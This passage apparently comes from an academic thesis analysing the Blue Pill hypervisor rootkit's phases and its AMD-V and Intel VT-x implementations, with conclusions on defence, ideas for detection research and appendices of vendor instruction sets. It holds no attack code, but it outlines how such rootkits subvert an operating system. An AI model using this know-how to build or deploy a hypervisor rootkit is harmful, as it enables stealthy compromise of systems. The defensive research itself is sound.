Infiltration Phase is accomplished by newbp.c and hvm.c, where hvm.c 

transitions into the Initialization Phase relying on either svm.c or vmx.c to perform 

platform specific actions, and finally svm.c or vmx.c makes the final jump into the 

Subversion Phase by executing the migration of the target OS using the unique 

requirements of the specific virtualization solution.  

As shown in Figures 32 and 33, the infiltration and subversion phases are 

functionally identical for both AMD and Intel. Only during the latter part of the 

initialization phase do minor functional differences begin to emerge between the 

implementations. It is here that both the specific actions and the order in which 

they are executed play an important role in the exploitation, however both 

implementations in the initialization phase are overall still very similar. It can also 

be argued that these minor differences are technical vice functional in nature. 
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Figure 32.  Functional flowchart of AMD-V implementation of Blue Pill 
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Figure 33.  Functional flowchart of Intel VT-x implementation of Blue Pill 
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2. Technical Results 

The requirement for different versions of code results from the very 

different implementations of AMD-V and Intel VT-x. Both of these specifications 

attempt to provide the same capability, but their methods are not in any way 

compatible. Table 1 shows the key differences between AMD-V and Intel VT-x as 

they pertain to Blue Pill implementation and execution. 

 

Table 1. Comparison of AMD-V and Intel VT-x Blue Pill implementations 

 AMD-V Intel VT-x 
VM data structure VMCB VMCS 
   Scope of control each physical processor core each virtual processor 
   Composition fixed 2564 bytes of a 

continuous non-paged 4 
kilobyte block of physical 
memory immediately after the 
Control Area 

variable length beginning in 
continuous non-paged 4 
kilobyte block of physical 
memory 

Control data structure Control Area  
(part of VMCB) 

VMXON Region  
(separate from VMCS) 

   Scope of control each physical processor core each physical processor core 
(or each logical processor if 
more than one thread is 
supported by the CPU) 

   Composition fixed, first 1024 bytes of a 
continuous non-paged 4 
kilobyte block of physical 
memory 

continuous non-paged 4 
kilobyte block of physical 
memory 

Required hypervisor exit 
handling specified by 
AMD-V and Intel VT-x 
 

VMRUN VMCALL, VMLAUNCH, 
VMRESUME, VMPTRLD, 
VMPTRST, VMREAD, 
VMWRITE, VMXON, VMXOFF, 
CPUID, INVD, MOV from CR3 

Required hypervisor exit 
handling within Blue Pill 

VMRUN, VMLOAD, VMSAVE, 
EFER.SVME, VM_HSAVE_PA, 
TSC, CLGI, STGI, CPUID, 
RDTSC, RDTSCP 

VMCALL, VMLAUNCH, 
VMRESUME, VMPTRLD, 
VMPTRST, VMREAD, 
VMWRITE, VMXON, VMXOFF, 
CPUID, INVD, MOV from CR3, 
any MSRs or CRs 

CPU enable action set EFER.SVME = 1 set CR4.VMXE = 1 
VMM enable action set EFER.SVME = 1 VMXON instruction 
VM enable action VMRUN with RAX register 

(current-VMCB pointer) 
VMLAUNCH instruction with 
current-VMCS pointer 

Required preconditions 
prior to processor 
entering virtualization 
mode 

EFER.SVME control bit set to 1 CR4.VMXE, CR0.NE, CR0.PG 
and CR0.PE control bits set to 
1, EFLAGS.VM set to 0, cannot 
be in A20M mode 
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The VMCB and VMCS data structures are only analogous in function, 

whereas their operation differs considerably. The Intel VMXON Region and AMD 

Control Area are also somewhat analogous in function, but differ in their use and 

implementation. Both solutions also require interaction with and manipulation of 

various registers, MSRs, pointers, and data tables differently. Furthermore, some 

of these features exist on one processor type but not the other, or are 

implemented in hardware differently. 

The Intel specification is more detailed and deliberate than the AMD 

specification. The AMD specification only contains four instructions whereas the 

Intel specification contains ten and exercises a larger scope of control over the 

virtualization process. It is not clear if this added complexity results in added 

security or not, and it is not clear why the two respective companies chose to 

implement their solutions the way they did. This aspect was not examined as part 

of this thesis. 

From examination of Table 1 it can be easily seen that there does not 

exist significant commonality within the AMD-V and Intel VT-x hardware 

virtualization implementations to be useful in identifying a common set of 

technical countermeasures capable of mitigating both AMD and Intel attack 

vectors.  

Broadening the scope of investigation outside of the scope of AMD-V and 

Intel VT-x does yield some commonalities as shown in Table 2. 

 

Table 2. Commonalities of Blue Pill on AMD-V, Blue Pill on Intel VT-x and Vitriol 

 Blue Pill on 
AMD-V  

Blue Pill on 
Intel VT-x 

Vitriol on 
Intel VT-x

Root Access X X X 
Use of Windows DriverObject X X  
Use of loadable kernel extensions   X 
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As with any form of malware, root level access is the Achilles heel of the 

target OS and the same is true for the Blue Pill and Vitriol rootkits. Root level 

access is the first step in the HVM rootkit process, and without it none of the 

other subsequent steps could be executed successfully.  

In the case of Blue Pill, the Windows driver loading process is another 

common vulnerability. In both cases a Windows DriverObject must be created to 

elevate the driver code to hardware level access. In the case of Vitriol, the 

loadable kernel extension is exploited in a similar manor to provide the same 

direct access to hardware that the DriverObject provides in Windows. 
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V. CONCLUSIONS 

The Blue Pill source code analysis shows that functionally the two rootkits 

are nearly identical, but when examined from a technical implementation 

perspective they are very different. There is no common, single characteristic or 

set of characteristics which both AMD-V and Intel VT-x depend on for successful 

implementation. This prevents the establishment of a common, low level, 

technical attack methodology which would be effective in defending against 

across a wide range of systems employing x86 hardware virtualization 

technology. The research has shown that one of the best methods for defending 

against an HVM rootkit is the same as for any other rootkit, and that is the denial 

of root level access. 

The Blue Pill HVM rootkit is not a one size fits all package, and it was 

never intended to be. Its stated purposes were for training and proof of concept. 

It must be deliberately compiled for either AMD or Intel and be tailored for the 

implementation that it is intended for. This is not to say that a version could not 

be coded to select on the fly which code was necessary and adapt its 

implementation accordingly. There are many examples of malware that does 

employ this methodology, but it usually incurs a cost in both size and complexity. 

Developing a common code which could run on both systems would most likely 

be overly complex for the small benefit that would be gained in functional 

simplicity. 
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VI. RELATED AND FUTURE WORK 

The concept of an HVM rootkit is not new; and therefore work has been 

and continues to be done in this area, particularly since the introduction of AMD-

V and Intel VT-x technologies. Although Invisible Things Lab and Matasano 

Security Lab have apparently ceased development of Blue Pill and Vitriol, there 

exist several possible areas where future research could yield interesting and 

useful advances in this subject area. It should also be noted that there exists a 

fine line between preventing malicious exploitation of virtualization technologies, 

and creating a self-imposed denial of the valuable capability which these new 

technologies provide. 

As discussed in the conclusion, the probable best defense to date of HVM 

rootkits prior to subversion is the denial of root level access. This aspect could be 

further researched to determine if certain software extensions could be made 

effective in preventing exploitation of virtualization technologies by identifying and 

targeting unauthorized attempts at exploiting those capabilities. 

There exist useful purposes of HVM rootkits as well. These purposes 

could be identified and exploited for constructive reasons. One such constructive 

use is using a Blue Pill like hypervisor to defend a non-virtualized OS. If a Blue 

Pill like hypervisor is already in place defending a system, then a malicious HVM 

rootkit would be denied access by virtue of non-availability of the virtualization 

hardware. HyperShield is one such solution which uses a hypervisor-based 

security system to protect an OS [50]. Other constructive uses include VM 

introspection, system health monitoring, and certain aspects of TPM 

implementation just to name a few. 

HyperWall is an architecture proposed by Szefer and Lee to protect guest 

VMs from attacks by malicious hypervisors [51]. Interesting insight could be 

gained by further researching areas where a VM could be defended against an 

HVM rootkit which was successful in subverting an OS. OS features could then 
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be proposed which would make them resistant to exploitation efforts following 

such a successful attack. 

As shown in Table 1, AMD-V and Intel VT-x differ in scope of control and 

complexity. Do these technical implementation differences translate into inherent 

system security differences between the respective hardware virtualization 

implementations?  

Blue Pill initial claims were that it was a completely undetectable HVM 

rootkit. That was widely disputed by many researchers which had various 

degrees of success in disproving its creator’s claim. Most of these efforts focused 

on detecting processor performance anomalies, but could memory forensics 

provide a better indicator of HVM rootkit activity? 

Although there has already been significant research done in HVM rootkit 

detectability, this is a broad and complex area of research which can provide 

additional useful insight. Both Intel and AMD programmer’s manuals state that 

there is no hardware bit or register that can be queried to identify that a 

processor is running in AMD-V or VMX non-root mode [26], [27]. Are there any 

other tell tail signs to determine which mode a processor in running in? 
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APPENDIX A. AMD-V INSTRUCTION SET 

VMLOAD  Loads a subset of processor state from the VMCB specified by the system-
physical address in the rAX register. The portion of RAX used to form the 
address is determined by the effective address size. The VMSAVE and VMLOAD 
instructions complement the state save/restore abilities of VMRUN and 
#VMEXIT, providing access to hidden state that software is otherwise unable to 
access, plus some additional commonly-used state.  

 
VMMCALL Provides a mechanism for a guest to explicitly communicate with the VMM by 

generating a #VMEXIT. A non-intercepted VMMCALL unconditionally raises a 
#UD exception. VMMCALL is not restricted to either protected mode or CPL 
zero.  

 
VMRUN Starts execution of a guest instruction stream. The physical address of the virtual 

machine control block (VMCB) describing the guest is taken from the rAX register 
(the portion of RAX used to form the address is determined by the effective 
address size). The physical address of the VMCB must be aligned on a 4K-byte 
boundary. VMRUN saves a subset of host processor state to the host state-save 
area specified by the physical address in the VM_HSAVE_PA MSR. VMRUN 
then loads guest processor state (and control information) from the VMCB at the 
physical address specified in rAX. The processor then executes guest 
instructions until one of several intercept events (specified in the VMCB) is 
triggered. When an intercept event occurs, the processor stores a snapshot of 
the guest state back into the VMCB, reloads the host state, and continues 
execution of host code at the instruction following the VMRUN instruction. 

 
VMSAVE Stores a subset of the processor state into the VMCB specified by the system-

physical address in the rAX register (the portion of RAX used to form the address 
is determined by the effective address size). The VMSAVE and VMLOAD 
instructions complement the state save/restore abilities of VMRUN and 
#VMEXIT, providing access to hidden state that software is otherwise unable to 
access, plus some additional commonly-used state. 

 
 
Support for the SVM architecture and the SVM instructions is indicated by CPUID 
Fn8000_0001_ECX[SVM] = 1. For more information on using the CPUID instruction, see the 
reference page for the CPUID instruction on page 151. 
 
 
 
 
 
 
 
 
 
 
 

The above listing is taken directly from the AMD64 Architecture Programmer’s 
Manual Volume 3: General-Purpose and System Instructions (May 2013) [26] 
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APPENDIX B. INTEL VT-X INSTRUCTION SET 

The behavior of the VMCS-maintenance instructions is summarized below: 
 
VMPTRLD  Takes a single 64-bit source operand in memory. It makes the referenced VMCS 

active and current. 
VMPTRST  Takes a single 64-bit destination operand that is in memory. Current-VMCS 

pointer is stored into the destination operand. 
VMCLEAR  Takes a single 64-bit operand in memory. The instruction sets the launch state of 

the VMCS referenced by the operand to “clear”, renders that VMCS inactive, and 
ensures that data for the VMCS have been written to the VMCS-data area in the 
referenced VMCS region. 

VMREAD  Reads a component from the VMCS (the encoding of that field is given in a 
register operand) and stores it into a destination operand. 

VMWRITE  Writes a component to the VMCS (the encoding of that field is given in a register 
operand) from a source operand. 

 
The behavior of the VMX management instructions is summarized below: 
 
VMLAUNCH  Launches a virtual machine managed by the VMCS. A VM entry occurs, 

transferring control to the VM. 
VMRESUME  Resumes a virtual machine managed by the VMCS. A VM entry occurs, 

transferring control to the VM. 
VMXOFF  Causes the processor to leave VMX operation. 
VMXON  Takes a single 64-bit source operand in memory. It causes a logical processor to 

enter VMX root operation and to use the memory referenced by the operand to 
support VMX operation. 

 
The behavior of the VMX-specific TLB-management instructions is summarized below: 
 
INVEPT  Invalidate cached Extended Page Table (EPT) mappings in the processor to 

synchronize address translation in virtual machines with memory-resident EPT 
pages. 

INVVPID  Invalidate cached mappings of address translation based on the Virtual 
Processor ID (VPID). 

 
None of the instructions above can be executed in compatibility mode; they generate invalid-
opcode exceptions if executed in compatibility mode. 
 
The behavior of the guest-available instructions is summarized below: 
 
VMCALL  Allows a guest in VMX non-root operation to call the VMM for service. A VM exit 

occurs, transferring control to the VMM. 
VMFUNC  This instruction allows software in VMX non-root operation to invoke a VM 

function, which is processor functionality enabled and configured by software in 
VMX root operation. No VM exit occurs. 

 
 
 

The above listing is taken directly from the Intel 64 and IA32 Architectures 
Software Developer Manual (September 2013) [27] 
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